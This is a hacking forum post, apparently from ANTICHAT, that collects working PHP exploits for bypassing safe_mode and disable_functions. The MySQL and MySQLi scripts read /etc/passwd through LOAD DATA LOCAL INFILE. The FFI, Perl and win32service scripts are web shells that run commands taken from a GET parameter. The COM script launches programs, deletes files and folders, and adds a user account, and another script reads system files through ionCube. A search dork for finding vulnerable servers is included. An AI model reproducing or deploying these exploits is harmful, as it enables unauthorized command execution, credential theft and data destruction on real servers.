ANTICHAT - Показать сообщение отдельно

PHP <= 4.4.7 / 5.2.3 MySQL/MySQLi Safe Mode Bypass Vulnerability

MySQL:

PHP код:


		
			
<?php

file_get_contents('/etc/passwd');

$l = mysql_connect("localhost", "root");

mysql_query("CREATE DATABASE a");

mysql_query("CREATE TABLE a.a (a varchar(1024))");

mysql_query("GRANT SELECT,INSERT ON a.a TO 'aaaa'@'localhost'");

mysql_close($l); mysql_connect("localhost", "aaaa");

mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$result = mysql_query("SELECT a FROM a.a");

while(list($row) = mysql_fetch_row($result))

print $row . chr(10);

?>

MySQLi:

PHP код:


		
			
<?php

function r($fp, &$buf, $len, &$err) {

print fread($fp, $len);

}

$m = new mysqli('localhost', 'aaaa', '', 'a');

$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);

$m->set_local_infile_handler("r");

$m->query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");

$m->close();

?>

PHP FFI Extension Safe_mode Bypass Exploit:

PHP код:


		
			
<?php

if(!extension_loaded('ffi'))

die('ERROR: FFI extension is not loaded!');

$command=(empty($_GET['cmd']))?'dir':$_GET['cmd'];

if(is_writeable(dirname(__FILE__)))$tmp=dirname(__FILE__);

elseif(is_writeable(ini_get('session.save_path')))

$tmp=ini_get('session.save_path');

elseif(is_writeable(ini_get('upload_tmp_dir')))

$tmp=ini_get('upload_tmp_dir');

else die('ERROR: Move exploit to writeable folder.');

$output="$tmp\\".uniqid('NJ');

$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");

$res=$api->WinExec("cmd.exe /c $command >\"$output\"",0);

while(!file_exists($output))sleep(1);

$con='';

$fp=fopen($output,'r');

while(!feof($fp))$con.=fgets($fp,1024);

fclose($fp);

$con=htmlspecialchars($con);

echo "<pre>$con</pre>";

unlink($output);

?>

PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass

PHP код:


		
			
<?php

//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass

//author: shinnai

//mail: shinnai[at]autistici[dot]org

//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Technical details:

//ionCube version: 6.5

//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)

//url: www.ioncube.com

//php.ini settings:

//safe_mode = On

//disable_functions = ioncube_read_file, readfile

//Description:

//This is useful to obtain juicy informations but also to retrieve source

//code of php pages, password files, etc... you just need to change file path.

//Anyway, don't worry, nobody will read your obfuscated code :)

//greetz to: BlackLight for help me to understand better PHP

//P.S.

//This extension contains even an interesting ioncube_write_file function...

if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");

$path = str_repeat("..\\", 20);

$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)

$MyBoot_ioncube = ioncube_read_file($path."boot.ini");

echo $MyBoot_readfile;

echo "<br><br>ionCube output:<br><br>";

echo $MyBoot_ioncube;

?>

PHP 5.x COM functions safe_mode and disable_function bypass

PHP код:


		
			
<?php

//PHP 5.x COM functions safe_mode and disable_function bypass

//author: shinnai

//mail: shinnai[at]autistici[dot]org

//site: http://shinnai.altervista.org

//dork: intitle:phpinfo intext:"php version" +windows (thanks to rgod)

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//from: http://www.phpfreaks.com/phpmanual/page/ref.com.html

//Requirements:

//COM functions are only available for the Windows version of PHP.

//.Net support requires PHP 5 and the .Net runtime. 

//Installation:

//There is no installation needed to use these functions; they are part of the PHP core. -> (sounds good)

//The windows version of PHP has built in support for this extension. You do not need to

//load any additional extension in order to use these functions.

//You are responsible for installing support for the various COM objects that you intend

//to use (such as MS Word); we don't and can't bundle all of those with PHP.

//mmm... I don't know how many people use Apache and PHP on Windows servers but I suppose there are

//a lot of users if PHP developers decide to implement COM functions as part of PHP core.

//take a look here: intitle:phpinfo intext:"php version" +windows (thanks to rgod).

//Anyway, I think they should take much care on security due to the fact that, through these

//functions, you can seriously compromise a pc.

//For remote execution you need (naturally) to use a server that is MS based,

//e.g. Apache for win configured for working with PHP.

//In this scenario, someone could upload a script and then use it to damnage the server.

//Local execution simply bypass all Windows protections against execution of dangerous

//COM objects (even kill-bit) due to the fact that the script is executed from a client that

//does not check these settings.

//php.ini settings:

//safe_mode = On

//disable_functions = com_load_typelib

//open_basedir = htdocs

//Remote execution requires that open_basedir is disabled

$mPath = str_repeat("..\\",20);

$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');    //this one uses compatUI.dll

$compatUI->RunApplication("something", "notepad.exe", 1);    //to run notepad.exe

$wscript = new COM('wscript.shell');                //this one uses wscript.exe

$wscript->Run("cmd.exe /c calc.exe");                //to run calc.exe

$FSO = new COM('Scripting.FileSystemObject');            //this one uses wshom.ocx

$FSO->OpenTextFile($mPath."something.bat", 8, true);        //to create a batch file on server... yes,        //if you want you can write to this batch file :)

$FSOdelFile = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx

$FSOdelFile->DeleteFile($mPath."PathToFiles\\*.txt", True);    //to delete all files with txt extension

$FSOdelFolder = new COM('Scripting.FileSystemObject');        //this one uses wshom.ocx

$FSOdelFolder->DeleteFolder($mPath."FolderToDelete", True);    //to delete an entire folder

$shgina = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');    //this one uses shgina.dll

$shgina->Create("shinnai");                    //to add an user :)

?>

PHP Perl Extension Safe_mode Bypass

PHP код:


		
			
<?php

if(!extension_loaded('perl'))die('perl extension is not loaded');

if(!isset($_GET))$_GET=&$HTTP_GET_VARS;

if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';

$perl=new perl();

echo "<textarea rows='25' cols='75'>";

$perl->eval("system('".$_GET['cmd']."')");

echo "</textarea>";

$_GET['cmd']=htmlspecialchars($_GET['cmd']);

echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"

?>

PHP 5.x (win32service) Local Safe Mode Bypass Exploit

PHP код:


		
			
<?php

$command=(isset($_GET['CMD']))?$_GET['CMD']:'dir'; #cammand

$dir=ini_get('upload_tmp_dir'); #Directory to store command's output

if(!extension_loaded('win32service'))die('win32service extension not found!');

$name=$dir."\\".uniqid('NJ');

$n=uniqid('NJ');

$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];

win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));

win32_start_service($n);

win32_stop_service($n);

win32_delete_service($n);

$exec=file_get_contents($name);

unlink($name);

echo "<pre>".htmlspecialchars($exec)."</pre>";

?>

PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

PHP код:


		
			
<?php

if (!extension_loaded("win32std")) die("win32std extension required!");

system("cmd.exe"); //just to be sure that protections work well

win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");

?>